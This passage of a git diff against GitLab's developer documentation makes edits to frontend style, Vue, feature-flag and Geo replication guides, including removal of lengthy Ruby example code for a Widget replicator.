Vue.use(VueApollo); + + const mockApollo = createMockApollo( + requestHandlers, + {}, + { + dataIdFromObject: (object) => + // eslint-disable-next-line no-underscore-dangle + object.__typename === 'Requirement' ? object.iid : defaultDataIdFromObject(object), + }, + ); + + return mockApollo; +} +``` + ## Handling errors The GitLab GraphQL mutations have two distinct error modes: [Top-level](#top-level-errors) and [errors-as-data](#errors-as-data). diff --git a/doc/development/fe_guide/icons.md b/doc/development/fe_guide/icons.md index a7b62fbb267..ad344c00efd 100644 --- a/doc/development/fe_guide/icons.md +++ b/doc/development/fe_guide/icons.md @@ -104,7 +104,7 @@ by the examples that follow: **Example 1:** -The following HAML expression generates a loading icon’s markup and +The following HAML expression generates a loading icon's markup and centers the icon by wrapping it in a `gl-spinner-container` element. ```haml @@ -121,7 +121,7 @@ centers the icon by wrapping it in a `gl-spinner-container` element. **Example 2:** -The following HAML expression generates a loading icon’s markup +The following HAML expression generates a loading icon's markup with a custom size. It also appends a margin utility class. ```haml @@ -137,7 +137,7 @@ with a custom size. It also appends a margin utility class. ### Usage in Vue The [GitLab UI](https://gitlab-org.gitlab.io/gitlab-ui/) components library provides a -`GlLoadingIcon` component. See the component’s +`GlLoadingIcon` component. See the component's [storybook](https://gitlab-org.gitlab.io/gitlab-ui/?path=/story/base-loading-icon--default) for more information about its usage. diff --git a/doc/development/fe_guide/img/editor_lite_create_ext.png b/doc/development/fe_guide/img/editor_lite_create_ext.png Binary files differindex 73941cf5d62..9092c4b725c 100644 --- a/doc/development/fe_guide/img/editor_lite_create_ext.png +++ b/doc/development/fe_guide/img/editor_lite_create_ext.png diff --git a/doc/development/fe_guide/index.md b/doc/development/fe_guide/index.md index 1315520342e..0f3754c29e7 100644 --- a/doc/development/fe_guide/index.md +++ b/doc/development/fe_guide/index.md @@ -11,7 +11,7 @@ across the GitLab frontend team. ## Overview -GitLab is built on top of [Ruby on Rails](https://rubyonrails.org). It uses [Haml](https://haml.info/) and a JavaScript0based frontend with [Vue.js](https://vuejs.org). +GitLab is built on top of [Ruby on Rails](https://rubyonrails.org). It uses [Haml](https://haml.info/) and a JavaScript-based frontend with [Vue.js](https://vuejs.org). <!-- vale gitlab.Spelling = NO --> Be wary of [the limitations that come with using Hamlit](https://github.com/k0kubun/hamlit/blob/master/REFERENCE.md#limitations). <!-- vale gitlab.Spelling = YES --> diff --git a/doc/development/fe_guide/performance.md b/doc/development/fe_guide/performance.md index 795de87d309..b6130335654 100644 --- a/doc/development/fe_guide/performance.md +++ b/doc/development/fe_guide/performance.md @@ -35,7 +35,7 @@ performance.getEntriesByName('my-component-start') - The start of navigation and a mark - The start of navigation and the moment the measurement is taken -It takes several arguments of which the measurement’s name is the only one required. Examples: +It takes several arguments of which the measurement's name is the only one required. Examples: - Duration between the start and end marks: @@ -185,16 +185,16 @@ To access stored measurements, you can use either: ### Naming convention All the marks and measures should be instantiated with the constants from -`app/assets/javascripts/performance/constants.js`. When you’re ready to add a new mark’s or -measurement’s label, you can follow the pattern. +`app/assets/javascripts/performance/constants.js`. When you're ready to add a new mark's or +measurement's label, you can follow the pattern. NOTE: This pattern is a recommendation and not a hard rule. ```javascript -app-*-start // for a start ‘mark’ -app-*-end // for an end ‘mark’ -app-* // for ‘measure’ +app-*-start // for a start 'mark' +app-*-end // for an end 'mark' +app-* // for 'measure' ``` For example, `'webide-init-editor-start`, `mr-diffs-mark-file-tree-end`, and so on. We do it to @@ -381,7 +381,7 @@ Use `webpackChunkName` when generating dynamic imports as it provides a deterministic filename for the chunk which can then be cached in the browser across GitLab versions. -More information is available in [webpack's code splitting documentation](https://webpack.js.org/guides/code-splitting/#dynamic-imports). +More information is available in [webpack's code splitting documentation](https://webpack.js.org/guides/code-splitting/#dynamic-imports) and [vue's dynamic component documentation](https://vuejs.org/v2/guide/components-dynamic-async.html). ### Minimizing page size diff --git a/doc/development/fe_guide/principles.md b/doc/development/fe_guide/principles.md index 4952d023d90..1bf37c8d008 100644 --- a/doc/development/fe_guide/principles.md +++ b/doc/development/fe_guide/principles.md @@ -18,4 +18,4 @@ There are multiple ways of writing code to accomplish the same results. We shoul ## Improve code [iteratively](https://about.gitlab.com/handbook/values/#iteration) -Whenever you see existing code that does not follow our current style guide, update it proactively. You don’t need to fix everything, but each merge request should iteratively improve our codebase, and reduce technical debt where possible. +Whenever you see existing code that does not follow our current style guide, update it proactively. You don't need to fix everything, but each merge request should iteratively improve our codebase, and reduce technical debt where possible. diff --git a/doc/development/fe_guide/security.md b/doc/development/fe_guide/security.md index 1a6646df877..79452327673 100644 --- a/doc/development/fe_guide/security.md +++ b/doc/development/fe_guide/security.md @@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Resources -[Mozilla’s HTTP Observatory CLI](https://github.com/mozilla/http-observatory-cli) and +[Mozilla's HTTP Observatory CLI](https://github.com/mozilla/http-observatory-cli) and [Qualys SSL Labs Server Test](https://www.ssllabs.com/ssltest/analyze.html) are good resources for finding potential problems and ensuring compliance with security best practices. @@ -41,7 +41,7 @@ Security Policy headers in the GitLab Rails app. Some resources on implementing Content Security Policy: - [MDN Article on CSP](https://developer.mozilla.org/en-US/docs/Web/Security/CSP) -- [GitHub’s CSP Journey on the GitHub Engineering Blog](http://githubengineering.com/githubs-csp-journey/) +- [GitHub's CSP Journey on the GitHub Engineering Blog](http://githubengineering.com/githubs-csp-journey/) - The Dropbox Engineering Blog's series on CSP: [1](https://blogs.dropbox.com/tech/2015/09/on-csp-reporting-and-filtering/), [2](https://blogs.dropbox.com/tech/2015/09/unsafe-inline-and-nonce-deployment/), [3](https://blogs.dropbox.com/tech/2015/09/csp-the-unexpected-eval/), [4](https://blogs.dropbox.com/tech/2015/09/csp-third-party-integrations-and-privilege-separation/) ### Subresource Integrity (SRI) diff --git a/doc/development/fe_guide/style/javascript.md b/doc/development/fe_guide/style/javascript.md index 334372af1f4..a2035eb1b55 100644 --- a/doc/development/fe_guide/style/javascript.md +++ b/doc/development/fe_guide/style/javascript.md @@ -98,16 +98,27 @@ class a { } ``` -## Use ParseInt +## Converting Strings to Integers -Use `ParseInt` when converting a numeric string into a number. +When converting strings to integers, `parseInt` has a slight performance advantage over `Number`, but `Number` is semantic and can be more readable. Prefer `parseInt`, but do not discourage `Number` if it significantly helps readability. + +**WARNING:** `parseInt` **must** include the [radix argument](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt). ```javascript // bad -Number('10') +parseInt('10'); + +// bad +things.map(parseInt) + +// ok +Number("106") + +// good +things.map(Number) // good -parseInt('10', 10); +parseInt("106", 10) ``` ## CSS Selectors - Use `js-` prefix @@ -297,7 +308,7 @@ Strive to write many small pure functions and minimize where mutations occur ## Export constants as primitives -Prefer exporting constant primitives with a common namespace over exporting objects. This allows for better compile-time reference checks and helps to avoid accidential `undefined`s at runtime. In addition, it helps in reducing bundle sizes. +Prefer exporting constant primitives with a common namespace over exporting objects. This allows for better compile-time reference checks and helps to avoid accidental `undefined`s at runtime. In addition, it helps in reducing bundle sizes. Only export the constants as a collection (array, or object) when there is a need to iterate over them, for instance, for a prop validator. diff --git a/doc/development/fe_guide/style/vue.md b/doc/development/fe_guide/style/vue.md index d62145b4a4c..93e4f234ccb 100644 --- a/doc/development/fe_guide/style/vue.md +++ b/doc/development/fe_guide/style/vue.md @@ -615,7 +615,7 @@ component state wherever possible. Instead, set the component's ``` 1. When asserting multiple props, check the deep equality of the `props()` object with -[`toEqual`](https://jestjs.io/docs/en/expect#toequalvalue): +[`toEqual`](https://jestjs.io/docs/expect#toequalvalue): ```javascript // good @@ -632,8 +632,8 @@ component state wherever possible. Instead, set the component's ``` 1. If you are only interested in some of the props, you can use -[`toMatchObject`](https://jestjs.io/docs/en/expect#tomatchobjectobject). Prefer `toMatchObject` -over [`expect.objectContaining`](https://jestjs.io/docs/en/expect#expectobjectcontainingobject): +[`toMatchObject`](https://jestjs.io/docs/expect#tomatchobjectobject). Prefer `toMatchObject` +over [`expect.objectContaining`](https://jestjs.io/docs/expect#expectobjectcontainingobject): ```javascript // good diff --git a/doc/development/fe_guide/troubleshooting.md b/doc/development/fe_guide/troubleshooting.md index 250fe5106d3..1b3991ee80d 100644 --- a/doc/development/fe_guide/troubleshooting.md +++ b/doc/development/fe_guide/troubleshooting.md @@ -66,3 +66,29 @@ TypeError: $ is not a function ``` **Remedy - Try moving the script into a separate repository and point to it to files in the GitLab repository** + +## Using Vue component issues + +### When rendering a component that uses GlFilteredSearch and the component or its parent uses Vue Apollo + +When trying to render our component GlFilteredSearch, you might get an error in the component's `provide` function: + +`cannot read suggestionsListClass of undefined` + +Currently, `vue-apollo` tries to [manually call a component's `provide()` in the `beforeCreate` part](https://github.com/vuejs/vue-apollo/blob/35e27ec398d844869e1bbbde73c6068b8aabe78a/packages/vue-apollo/src/mixin.js#L149) of the component lifecycle. This means that when a `provide()` references props, which aren't actually setup until after `created`, it will blow up. + +See this [closed MR](https://gitlab.com/gitlab-org/gitlab-ui/-/merge_requests/2019#note_514671251) for more context. + +**Remedy - try providing `apolloProvider` to the top-level Vue instance options** + +VueApollo will skip manually running `provide()` if it sees that an `apolloProvider` is provided in the `$options`. + +```patch + new Vue( + el, ++ apolloProvider: {}, + render(h) { + return h(App); + }, + ); +``` diff --git a/doc/development/fe_guide/vue.md b/doc/development/fe_guide/vue.md index 220a4a107aa..574faa0898f 100644 --- a/doc/development/fe_guide/vue.md +++ b/doc/development/fe_guide/vue.md @@ -99,6 +99,86 @@ return new Vue({ > When adding an `id` attribute to mount a Vue application, please make sure this `id` is unique across the codebase. +#### Providing Rails form fields to Vue applications + +When composing a form with Rails, the `name`, `id`, and `value` attributes of form inputs are generated +to match the backend. It can be helpful to have access to these generated attributes when converting +a Rails form to Vue, or when [integrating components (datepicker, project selector, etc)](https://gitlab.com/gitlab-org/gitlab/-/blob/8956ad767d522f37a96e03840595c767de030968/app/assets/javascripts/access_tokens/index.js#L15) into it. +The [`parseRailsFormFields`](https://gitlab.com/gitlab-org/gitlab/-/blob/fe88797f682c7ff0b13f2c2223a3ff45ada751c1/app/assets/javascripts/lib/utils/forms.js#L107) utility can be used to parse the generated form input attributes so they can be passed to the Vue application. +This allows us to easily integrate Vue components without changing how the form submits. + +```haml +-# form.html.haml += form_for user do |form| + .js-user-form + = form.text_field :name, class: 'form-control gl-form-input', data: { js_name: 'name' } + = form.text_field :email, class: 'form-control gl-form-input', data: { js_name: 'email' } +``` + +> The `js_name` data attribute is used as the key in the resulting JavaScript object. +For example `= form.text_field :email, data: { js_name: 'fooBarBaz' }` would be translated +to `{ fooBarBaz: { name: 'user[email]', id: 'user_email', value: '' } }` + +```javascript +// index.js +import Vue from 'vue'; +import { parseRailsFormFields } from '~/lib/utils/forms'; +import UserForm from './components/user_form.vue'; + +export const initUserForm = () => { + const el = document.querySelector('.js-user-form'); + + if (!el) { + return null; + } + + const fields = parseRailsFormFields(el); + + return new Vue({ + el, + render(h) { + return h(UserForm, { + props: { + fields, + }, + }); + }, + }); +}; +``` + +```vue +<script> +// user_form.vue +import { GlButton, GlFormGroup, GlFormInput } from '@gitlab/ui'; + +export default { + name: 'UserForm', + components: { GlButton, GlFormGroup, GlFormInput }, + props: { + fields: { + type: Object, + required: true, + }, + }, +}; +</script> + +<template> + <div> + <gl-form-group :label-for="fields.name.id" :label="__('Name')"> + <gl-form-input v-bind="fields.name" size="lg" /> + </gl-form-group> + + <gl-form-group :label-for="fields.email.id" :label="__('Email')"> + <gl-form-input v-bind="fields.email" type="email" size="lg" /> + </gl-form-group> + + <gl-button type="submit" category="primary" variant="confirm">{{ __('Update') }}</gl-button> + </div> +</template> +``` + #### Accessing the `gl` object We query the `gl` object for data that doesn't change during the application's life @@ -197,7 +277,7 @@ Check this [page](vuex.md) for more details. In the [Vue documentation](https://vuejs.org/v2/api/#Options-Data) the Data function/object is defined as follows: > The data object for the Vue instance. Vue recursively converts its properties into getter/setters -to make it “reactive”. The object must be plain: native objects such as browser API objects and +to make it "reactive". The object must be plain: native objects such as browser API objects and prototype properties are ignored. A rule of thumb is that data should just be data - it is not recommended to observe objects with their own stateful behavior. diff --git a/doc/development/fe_guide/vue3_migration.md b/doc/development/fe_guide/vue3_migration.md index ee25e97ab6e..d06e93da0f3 100644 --- a/doc/development/fe_guide/vue3_migration.md +++ b/doc/development/fe_guide/vue3_migration.md @@ -6,6 +6,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Migration to Vue 3 +Preparations for a Vue 3 migration are tracked in epic [&3174](https://gitlab.com/groups/gitlab-org/-/epics/3174) + In order to prepare for the eventual migration to Vue 3.x, we should be wary about adding the following features to the codebase: ## Vue filters diff --git a/doc/development/feature_flags/controls.md b/doc/development/feature_flags/controls.md index fc327a2defc..c9538c38850 100644 --- a/doc/development/feature_flags/controls.md +++ b/doc/development/feature_flags/controls.md @@ -36,7 +36,7 @@ easier to measure the impact of both separately. The GitLab feature library (using [Flipper](https://github.com/jnunemaker/flipper), and covered in the [Feature -Flags process](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle) guide) supports rolling out changes to a percentage of +Flags process](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/) guide) supports rolling out changes to a percentage of time to users. This in turn can be controlled using [GitLab ChatOps](../../ci/chatops/index.md). For an up to date list of feature flag commands please see [the source @@ -281,7 +281,7 @@ To remove a feature flag, open **one merge request** to make the changes. In the 1. Add the ~"feature flag" label so release managers are aware the changes are hidden behind a feature flag. 1. If the merge request has to be picked into a stable branch, add the appropriate `~"Pick into X.Y"` label, for example `~"Pick into 13.0"`. - See [the feature flag process](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle#including-a-feature-behind-feature-flag-in-the-final-release) + See [the feature flag process](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/#including-a-feature-behind-feature-flag-in-the-final-release) for further details. 1. Remove all references to the feature flag from the codebase, including tests. 1. Remove the YAML definition for the feature from the repository. diff --git a/doc/development/feature_flags/index.md b/doc/development/feature_flags/index.md index 5c98dc2e473..560e4f8cb90 100644 --- a/doc/development/feature_flags/index.md +++ b/doc/development/feature_flags/index.md @@ -16,7 +16,7 @@ in the GitLab codebase to conditionally enable features and test them. Features that are developed and merged behind a feature flag -should not include a changelog entry. The entry should be added either in the merge +should not include a changelog entry. A changelog entry with `type: added` should be included in the merge request removing the feature flag or the merge request where the default value of the feature flag is set to enabled. If the feature contains any database migrations, it *should* include a changelog entry for the database changes. @@ -292,8 +292,7 @@ end ### Frontend -Use the `push_frontend_feature_flag` method for frontend code, which is -available to all controllers that inherit from `ApplicationController`. You can use +Use the `push_frontend_feature_flag` method which is available to all controllers that inherit from `ApplicationController`. You can use this method to expose the state of a feature flag, for example: ```ruby @@ -424,7 +423,7 @@ Feature.enabled?(:licensed_feature_feature_flag, project) && ### Feature groups Feature groups must be defined statically in `lib/feature.rb` (in the -`.register_feature_groups` method), but their implementation can obviously be +`.register_feature_groups` method), but their implementation can be dynamic (querying the DB, for example). Once defined in `lib/feature.rb`, you can to activate a diff --git a/doc/development/geo/framework.md b/doc/development/geo/framework.md index 055b9ce4ad6..2b3e4826de5 100644 --- a/doc/development/geo/framework.md +++ b/doc/development/geo/framework.md @@ -160,880 +160,16 @@ the Geo team if you are unsure. ### Blob Replicator Strategy -Models that use -[CarrierWave's](https://github.com/carrierwaveuploader/carrierwave) `Uploader::Base` -can be easily supported by Geo with the `Geo::BlobReplicatorStrategy` module. +Models that use [CarrierWave's](https://github.com/carrierwaveuploader/carrierwave) `Uploader::Base` are supported by Geo with the `Geo::BlobReplicatorStrategy` module. For example, see how [Geo replication was implemented for Pipeline Artifacts](https://gitlab.com/gitlab-org/gitlab/-/issues/238464). -First, each file should have its own primary ID and model. Geo strongly -recommends treating *every single file* as a first-class citizen, because in -our experience this greatly simplifies tracking replication and verification -state. +Each file is expected to have its own primary ID and model. Geo strongly recommends treating *every single file* as a first-class citizen, because in our experience this greatly simplifies tracking replication and verification state. -For example, to add support for files referenced by a `Widget` model with a -`widgets` table, you would perform the following steps: - -#### Replication - -1. Include `Gitlab::Geo::ReplicableModel` in the `Widget` class, and specify - the Replicator class `with_replicator Geo::WidgetReplicator`. - - At this point the `Widget` class should look like this: - - ```ruby - # frozen_string_literal: true - - class Widget < ApplicationRecord - include ::Gitlab::Geo::ReplicableModel - - with_replicator Geo::WidgetReplicator - - mount_uploader :file, WidgetUploader - - # @param primary_key_in [Range, Widget] arg to pass to primary_key_in scope - # @return [ActiveRecord::Relation<Widget>] everything that should be synced to this node, restricted by primary key - def self.replicables_for_current_secondary(primary_key_in) - # Should be implemented. The idea of the method is to restrict - # the set of synced items depending on synchronization settings - end - ... - end - ``` - - If there is a common constraint for records to be available for replication, - make sure to also overwrite the `available_replicables` scope. - -1. Create `ee/app/replicators/geo/widget_replicator.rb`. Implement the - `#carrierwave_uploader` method which should return a `CarrierWave::Uploader`, - and implement the class method `.model` to return the `Widget` class: - - ```ruby - # frozen_string_literal: true - - module Geo - class WidgetReplicator < Gitlab::Geo::Replicator - include ::Geo::BlobReplicatorStrategy - - def self.model - ::Widget - end - - def carrierwave_uploader - model_record.file - end - - # The feature flag follows the format `geo_#{replicable_name}_replication`, - # so here it would be `geo_widget_replication` - def self.replication_enabled_by_default? - false - end - end - end - ``` - -1. Add this replicator class to the method `replicator_classes` in - `ee/lib/gitlab/geo.rb`: - - ```ruby - REPLICATOR_CLASSES = [ - ::Geo::PackageFileReplicator, - ::Geo::WidgetReplicator - ] - end - ``` - -1. Create `ee/spec/replicators/geo/widget_replicator_spec.rb` and perform - the necessary setup to define the `model_record` variable for the shared - examples: - - ```ruby - # frozen_string_literal: true - - require 'spec_helper' - - RSpec.describe Geo::WidgetReplicator do - let(:model_record) { build(:widget) } - - it_behaves_like 'a blob replicator' - end - ``` - -1. Create the `widget_registry` table, with columns ordered according to [our guidelines](../ordering_table_columns.md) so Geo secondaries can track the sync and - verification state of each Widget's file. This migration belongs in `ee/db/geo/migrate`: - - ```ruby - # frozen_string_literal: true - - class CreateWidgetRegistry < ActiveRecord::Migration[6.0] - include Gitlab::Database::MigrationHelpers - - DOWNTIME = false - - disable_ddl_transaction! - - def up - unless table_exists?(:widget_registry) - ActiveRecord::Base.transaction do - create_table :widget_registry, id: :bigserial, force: :cascade do |t| - t.bigint :widget_id, null: false - t.datetime_with_timezone :created_at, null: false - t.datetime_with_timezone :last_synced_at - t.datetime_with_timezone :retry_at - t.datetime_with_timezone :verified_at - t.datetime_with_timezone :verification_started_at - t.datetime_with_timezone :verification_retry_at - t.integer :state, default: 0, null: false, limit: 2 - t.integer :verification_state, default: 0, null: false, limit: 2 - t.integer :retry_count, default: 0, limit: 2 - t.integer :verification_retry_count, default: 0, limit: 2 - t.boolean :checksum_mismatch - t.binary :verification_checksum - t.binary :verification_checksum_mismatched - t.string :verification_failure, limit: 255 - t.string :last_sync_failure, limit: 255 - - t.index :widget_id, name: :index_widget_registry_on_widget_id, unique: true - t.index :retry_at - t.index :state - # To optimize performance of WidgetRegistry.verification_failed_batch - t.index :verification_retry_at, name: :widget_registry_failed_verification, order: "NULLS FIRST", where: "((state = 2) AND (verification_state = 3))" - # To optimize performance of WidgetRegistry.needs_verification_count - t.index :verification_state, name: :widget_registry_needs_verification, where: "((state = 2) AND (verification_state = ANY (ARRAY[0, 3])))" - # To optimize performance of WidgetRegistry.verification_pending_batch - t.index :verified_at, name: :widget_registry_pending_verification, order: "NULLS FIRST", where: "((state = 2) AND (verification_state = 0))" - end - end - end - end - - def down - drop_table :widget_registry - end - end - ``` - -1. Create `ee/app/models/geo/widget_registry.rb`: - - ```ruby - # frozen_string_literal: true - - class Geo::WidgetRegistry < Geo::BaseRegistry - include ::Geo::ReplicableRegistry - include ::Geo::VerifiableRegistry - - MODEL_CLASS = ::Widget - MODEL_FOREIGN_KEY = :widget_id - - belongs_to :widget, class_name: 'Widget' - end - ``` - -1. Update `REGISTRY_CLASSES` in `ee/app/workers/geo/secondary/registry_consistency_worker.rb`. -1. Add `widget_registry` to `ActiveSupport::Inflector.inflections` in `config/initializers_before_autoloader/000_inflections.rb`. -1. Create `ee/spec/factories/geo/widget_registry.rb`: - - ```ruby - # frozen_string_literal: true - - FactoryBot.define do - factory :geo_widget_registry, class: 'Geo::WidgetRegistry' do - widget - state { Geo::WidgetRegistry.state_value(:pending) } - - trait :synced do - state { Geo::WidgetRegistry.state_value(:synced) } - last_synced_at { 5.days.ago } - end - - trait :failed do - state { Geo::WidgetRegistry.state_value(:failed) } - last_synced_at { 1.day.ago } - retry_count { 2 } - last_sync_failure { 'Random error' } - end - - trait :started do - state { Geo::WidgetRegistry.state_value(:started) } - last_synced_at { 1.day.ago } - retry_count { 0 } - end - end - end - ``` - -1. Create `ee/spec/models/geo/widget_registry_spec.rb`: - - ```ruby - # frozen_string_literal: true - - require 'spec_helper' - - RSpec.describe Geo::WidgetRegistry, :geo, type: :model do - let_it_be(:registry) { create(:geo_widget_registry) } - - specify 'factory is valid' do - expect(registry).to be_valid - end - - include_examples 'a Geo framework registry' - include_examples 'a Geo verifiable registry' - - describe '.find_registry_differences' do - ... # To be implemented - end - end - ``` - -Widgets should now be replicated by Geo. - -#### Verification - -There are two ways to add verification related fields so that the Geo primary -can track verification state. - -##### Option 1: Add verification state fields to the existing `widgets` table itself - -1. Add a migration to add columns ordered according to [our guidelines](../ordering_table_columns.md) - for verification state to the widgets table: - - ```ruby - # frozen_string_literal: true - - class AddVerificationStateToWidgets < ActiveRecord::Migration[6.0] - DOWNTIME = false - - def change - change_table(:widgets) do |t| - t.integer :verification_state, default: 0, limit: 2, null: false - t.column :verification_started_at, :datetime_with_timezone - t.integer :verification_retry_count, limit: 2 - t.column :verification_retry_at, :datetime_with_timezone - t.column :verified_at, :datetime_with_timezone - t.binary :verification_checksum, using: 'verification_checksum::bytea' - - # rubocop:disable Migration/AddLimitToTextColumns - t.text :verification_failure - # rubocop:enable Migration/AddLimitToTextColumns - end - end - end - ``` - -1. Adding a `text` column also [requires](../database/strings_and_the_text_data_type.md#add-a-text-column-to-an-existing-table) - setting a limit: - - ```ruby - # frozen_string_literal: true - - class AddVerificationFailureLimitToWidgets < ActiveRecord::Migration[6.0] - include Gitlab::Database::MigrationHelpers - - DOWNTIME = false - - disable_ddl_transaction! - - CONSTRAINT_NAME = 'widget_verification_failure_text_limit' - - def up - add_text_limit :widget, :verification_failure, 255, constraint_name: CONSTRAINT_NAME - end - - def down - remove_check_constraint(:widget, CONSTRAINT_NAME) - end - end - ``` - -1. Add indexes on verification fields to ensure verification can be performed efficiently: - - Some or all of these indexes can be omitted if the table is guaranteed to be small. Ask a database expert if you are unsure. - - ```ruby - # frozen_string_literal: true - - class AddVerificationIndexesToWidgets < ActiveRecord::Migration[6.0] - include Gitlab::Database::MigrationHelpers - - DOWNTIME = false - VERIFICATION_STATE_INDEX_NAME = "index_widgets_verification_state" - PENDING_VERIFICATION_INDEX_NAME = "index_widgets_pending_verification" - FAILED_VERIFICATION_INDEX_NAME = "index_widgets_failed_verification" - NEEDS_VERIFICATION_INDEX_NAME = "index_widgets_needs_verification" - - disable_ddl_transaction! - - def up - add_concurrent_index :widgets, :verification_state, name: VERIFICATION_STATE_INDEX_NAME - add_concurrent_index :widgets, :verified_at, where: "(verification_state = 0)", order: { verified_at: 'ASC NULLS FIRST' }, name: PENDING_VERIFICATION_INDEX_NAME - add_concurrent_index :widgets, :verification_retry_at, where: "(verification_state = 3)", order: { verification_retry_at: 'ASC NULLS FIRST' }, name: FAILED_VERIFICATION_INDEX_NAME - add_concurrent_index :widgets, :verification_state, where: "(verification_state = 0 OR verification_state = 3)", name: NEEDS_VERIFICATION_INDEX_NAME - end - - def down - remove_concurrent_index_by_name :widgets, VERIFICATION_STATE_INDEX_NAME - remove_concurrent_index_by_name :widgets, PENDING_VERIFICATION_INDEX_NAME - remove_concurrent_index_by_name :widgets, FAILED_VERIFICATION_INDEX_NAME - remove_concurrent_index_by_name :widgets, NEEDS_VERIFICATION_INDEX_NAME - end - end - ``` - -1. Add the `Gitlab::Geo::VerificationState` concern to the `widget` model if it is not already included in `Gitlab::Geo::ReplicableModel`: - - ```ruby - class Widget < ApplicationRecord - ... - include ::Gitlab::Geo::VerificationState - ... - end - ``` - -##### Option 2: Create a separate `widget_states` table with verification state fields - -1. Create a `widget_states` table and add an index on `verification_state` to ensure verification can be performed efficiently. Order the columns according to [the guidelines](../ordering_table_columns.md): - - ```ruby - # frozen_string_literal: true - - class CreateWidgetStates < ActiveRecord::Migration[6.0] - include Gitlab::Database::MigrationHelpers - - DOWNTIME = false - - disable_ddl_transaction! - - def up - unless table_exists?(:widget_states) - with_lock_retries do - create_table :widget_states, id: false do |t| - t.references :widget, primary_key: true, null: false, foreign_key: { on_delete: :cascade } - t.integer :verification_state, default: 0, limit: 2, null: false - t.column :verification_started_at, :datetime_with_timezone - t.datetime_with_timezone :verification_retry_at - t.datetime_with_timezone :verified_at - t.integer :verification_retry_count, limit: 2 - t.binary :verification_checksum, using: 'verification_checksum::bytea' - t.text :verification_failure - - t.index :verification_state, name: "index_widget_states_on_verification_state" - end - end - end - - add_text_limit :widget_states, :verification_failure, 255 - end - - def down - drop_table :widget_states - end - end - ``` - -1. Add the following lines to the `widget_state.rb` model: - - ```ruby - class WidgetState < ApplicationRecord - ... - self.primary_key = :widget_id - - include ::Gitlab::Geo::VerificationState - - belongs_to :widget, inverse_of: :widget_state - ... - end - ``` - -1. Add the following lines to the `widget` model: - - ```ruby - class Widget < ApplicationRecord - ... - has_one :widget_state, inverse_of: :widget - - delegate :verification_retry_at, :verification_retry_at=, - :verified_at, :verified_at=, - :verification_checksum, :verification_checksum=, - :verification_failure, :verification_failure=, - :verification_retry_count, :verification_retry_count=, - to: :widget_state - ... - end - ``` - -To do: Add verification on secondaries. This should be done as part of -[Geo: Self Service Framework - First Implementation for Package File verification](https://gitlab.com/groups/gitlab-org/-/epics/1817) - -Widgets should now be verified by Geo. - -#### Metrics - -Metrics are gathered by `Geo::MetricsUpdateWorker`, persisted in -`GeoNodeStatus` for display in the UI, and sent to Prometheus: - -1. Add fields `widgets_count`, `widgets_checksummed_count`, - `widgets_checksum_failed_count`, `widgets_synced_count`, - `widgets_failed_count`, and `widgets_registry_count` to - `GET /geo_nodes/status` example response in - `doc/api/geo_nodes.md`. -1. Add the same fields to `GET /geo_nodes/status` example response in - `ee/spec/fixtures/api/schemas/public_api/v4/geo_node_status.json`. -1. Add fields `geo_widgets`, `geo_widgets_checksummed`, - `geo_widgets_checksum_failed`, `geo_widgets_synced`, - `geo_widgets_failed`, and `geo_widgets_registry` to - `Sidekiq metrics` table in - `doc/administration/monitoring/prometheus/gitlab_metrics.md`. -1. Add the following to the parameterized table in - `ee/spec/models/geo_node_status_spec.rb`: - - ```ruby - Geo::WidgetReplicator | :widget | :geo_widget_registry - ``` - -1. Add the following to `spec/factories/widgets.rb`: - - ```ruby - trait(:verification_succeeded) do - with_file - verification_checksum { 'abc' } - verification_state { Widget.verification_state_value(:verification_succeeded) } - end - - trait(:verification_failed) do - with_file - verification_failure { 'Could not calculate the checksum' } - verification_state { Widget.verification_state_value(:verification_failed) } - end - ``` - -1. Make sure the factory also allows setting a `project` attribute. If the model - does not have a direct relation to a project, you can use a `transient` - attribute. Check out `spec/factories/merge_request_diffs.rb` for an example. - -Widget replication and verification metrics should now be available in the API, -the Admin Area UI, and Prometheus. - -#### GraphQL API - -1. Add a new field to `GeoNodeType` in - `ee/app/graphql/types/geo/geo_node_type.rb`: - - ```ruby - field :widget_registries, ::Types::Geo::WidgetRegistryType.connection_type, - null: true, - resolver: ::Resolvers::Geo::WidgetRegistriesResolver, - description: 'Find widget registries on this Geo node', - feature_flag: :geo_widget_replication - ``` - -1. Add the new `widget_registries` field name to the `expected_fields` array in - `ee/spec/graphql/types/geo/geo_node_type_spec.rb`. -1. Create `ee/app/graphql/resolvers/geo/widget_registries_resolver.rb`: - - ```ruby - # frozen_string_literal: true - - module Resolvers - module Geo - class WidgetRegistriesResolver < BaseResolver - include RegistriesResolver - end - end - end - ``` - -1. Create `ee/spec/graphql/resolvers/geo/widget_registries_resolver_spec.rb`: - - ```ruby - # frozen_string_literal: true - - require 'spec_helper' - - RSpec.describe Resolvers::Geo::WidgetRegistriesResolver do - it_behaves_like 'a Geo registries resolver', :geo_widget_registry - end - ``` - -1. Create `ee/app/finders/geo/widget_registry_finder.rb`: - - ```ruby - # frozen_string_literal: true - - module Geo - class WidgetRegistryFinder - include FrameworkRegistryFinder - end - end - ``` - -1. Create `ee/spec/finders/geo/widget_registry_finder_spec.rb`: - - ```ruby - # frozen_string_literal: true - - require 'spec_helper' - - RSpec.describe Geo::WidgetRegistryFinder do - it_behaves_like 'a framework registry finder', :geo_widget_registry - end - ``` - -1. Create `ee/app/graphql/types/geo/widget_registry_type.rb`: - - ```ruby - # frozen_string_literal: true - - module Types - module Geo - # rubocop:disable Graphql/AuthorizeTypes because it is included - class WidgetRegistryType < BaseObject - include ::Types::Geo::RegistryType - - graphql_name 'WidgetRegistry' - description 'Represents the Geo sync and verification state of a widget' - - field :widget_id, GraphQL::ID_TYPE, null: false, description: 'ID of the Widget' - end - end - end - ``` - -1. Create `ee/spec/graphql/types/geo/widget_registry_type_spec.rb`: - - ```ruby - # frozen_string_literal: true - - require 'spec_helper' - - RSpec.describe GitlabSchema.types['WidgetRegistry'] do - it_behaves_like 'a Geo registry type' - - it 'has the expected fields (other than those included in RegistryType)' do - expected_fields = %i[widget_id] - - expect(described_class).to have_graphql_fields(*expected_fields).at_least - end - end - ``` - -1. Add integration tests for providing Widget registry data to the frontend via - the GraphQL API, by duplicating and modifying the following shared examples - in 